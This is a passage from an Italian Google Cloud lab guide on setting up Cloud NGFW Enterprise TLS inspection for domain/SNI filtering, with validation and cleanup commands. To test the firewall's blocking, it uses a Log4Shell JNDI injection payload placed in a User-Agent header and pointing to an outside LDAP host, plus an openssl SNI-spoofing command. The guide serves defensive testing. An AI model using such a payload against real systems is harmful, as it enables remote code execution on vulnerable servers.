cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Importa la policy di ispezione TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Aggiorna l'associazione endpoint per abilitare TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Ottieni il certificato CA e aggiungilo all'archivio CA del client. Questo è necessario per l'attendibilità, poiché NGFW Enterprise stabilisce TLS e presenta il certificato firmato dal pool di CA:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Trasferisci il certificato CA al client:
gcloud compute scp --tunnel-through-iap $prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
Esegui SSH sulla VM, sposta il certificato CA in /usr/local/share/ca-certificates e aggiorna l'archivio CA:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Esci dalla VM e continua su Cloud Shell.
Aggiorna la regola firewall per l'ispezione TLS
gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect
Validate Rules w/ TLS inspection
Avvia una connessione SSH alla VM tramite IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Invia le richieste di esempio alle destinazioni consentite:
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Questi dovrebbero essere approvati senza problemi. Se vogliamo esaminare il certificato e confermare se è firmato o meno da NGFW, possiamo eseguire questo comando:
curl https://ifconfig.me --max-time 2 -vv
Output previsto:
admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv * Trying 34.160.111.145:443... * Connected to ifconfig.me (34.160.111.145) port 443 (#0) * ALPN: offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: CN=ifconfig.me * start date: Sep 20 07:05:42 2025 GMT * expire date: Sep 21 06:58:10 2025 GMT * subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me" * issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691 * SSL certificate verify ok. * using HTTP/1.x > GET / HTTP/1.1 > Host: ifconfig.me > User-Agent: curl/7.88.1 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Length: 10 < access-control-allow-origin: * < content-type: text/plain < date: Sat, 20 Sep 2025 07:05:43 GMT < via: 1.1 google < Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 < * Connection #0 to host ifconfig.me left intact x.x.x.x
Nell'output precedente, possiamo vedere che la richiesta viene ispezionata tramite TLS da NGFW Enterprise perché il certificato ricevuto è firmato dalla CA principale che abbiamo creato in precedenza. (campo emittente)
Validate Rules attempting to Spoof SNI w/ TLS inspection
Convalida il comportamento ora che l'ispezione TLS è abilitata.
Esegui questo comando openssl per falsificare l'SNI:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
Output previsto:
CONNECTED(00000003) write:errno=104 --- no peer certificate available --- No client certificate CA names sent --- SSL handshake has read 0 bytes and written 317 bytes Verification: OK --- New, (NONE), Cipher is (NONE) Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
Nell'output precedente, vediamo che una richiesta di spoofing SNI precedentemente funzionante ora non riesce quando l'ispezione TLS è abilitata. Questo perché quando l'ispezione TLS è attivata, NGFW controlla l'SNI rispetto al nome alternativo del soggetto (SAN) del certificato del server. Se non corrisponde, l'handshake TLS non riuscirà.
Convalida di dominio/SNI e prevenzione delle minacce con ispezione TLS
Ora ripeteremo il test precedente per una richiesta dannosa (log4j) a un dominio consentito.
Invia l'esempio dannoso (log4j) a una destinazione di dominio/SNI consentita:
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
Output previsto:
000
Questo codice di risposta 000 è dovuto al fatto che la connessione è stata interrotta da NGFW perché è stata rilevata una minaccia. Possiamo raccogliere un output più dettagliato per confermare.
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv
Output previsto:
* Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
* CAfile: /etc/ssl/certs/ca-certificates.crt
* CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: CN=www.eicar.org
* start date: Sep 20 07:50:20 2025 GMT
* expire date: Sep 21 10:41:22 2025 GMT
* subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
* issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
* SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
>
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000
Da quanto sopra, vediamo che NGFW ha eseguito l'ispezione TLS e ha bloccato la richiesta dannosa.
Esci dalla VM:
exit
Vai alla sezione successiva per i passaggi di pulizia.
19. Procedura per la pulizia
Pulizia della configurazione di base
Rimuovi le istanze:
gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Rimuovi la policy di rete Cloud Firewall e l'associazione:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Elimina il router Cloud e Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Elimina gli indirizzi IP prenotati:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Pulizia di SPG e associazioni di Cloud Firewall
Elimina il gruppo di profili di sicurezza e il profilo di filtro di minacce e URL in questo ordine:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global gcloud -q network-security security-profiles url-filtering \ delete $prefix-sp \ --organization $org_id \ --location=global
Elimina l'associazione di endpoint Cloud Firewall:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Elimina l'endpoint Cloud Firewall, un'operazione che può richiedere circa 20 minuti:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
(Facoltativo) Verifica che l'endpoint Cloud NGFW sia stato eliminato eseguendo il comando riportato di seguito:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Lo stato dell'endpoint dovrebbe mostrare:
STATE: DELETING
Al termine, l'endpoint non verrà più elencato.
[Facoltativo] Pulizia TLS
Se hai proceduto con le configurazioni di ispezione TLS facoltative, esegui i comandi riportati di seguito per pulire le risorse TLS.
Elimina la policy TLS:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region
Disabilita ed elimina la CA radice e il pool di CA:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Pulizia di subnet e VPC
Infine, elimina la subnet e la rete VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
20. Conclusione e considerazioni
Questo lab è molto semplice e viene testato solo con una singola VM che si connette a internet. In scenari reali, il VPC potrebbe contenere più risorse, con traffico in tutte le direzioni (N/S ed E/O). Poiché la regola firewall per il filtro di dominio/SNI è un'uscita 0.0.0.0/0, è una regola "catch all" e DEVE essere configurata come regola con la priorità più bassa nella policy di rete. In caso contrario, il traffico corrisponderebbe in modo imprevisto e verrebbe consentito/negato in base alla regola urlFiltering predefinita.
Inoltre, valuta la possibilità di utilizzare i tipi di rete per limitare l'ambito. In questo modo si impedisce al traffico E/W di corrispondere alla regola. In alternativa, crea una regola di autorizzazione con priorità più alta per il traffico E/W.
Consulta il documento sulle best practice che illustra il filtro di dominio/SNI in modo più dettagliato.
21. Complimenti!
Congratulazioni, hai completato correttamente Cloud NGFW Enterprise per il filtro SNI e di dominio con ispezione TLS facoltativa.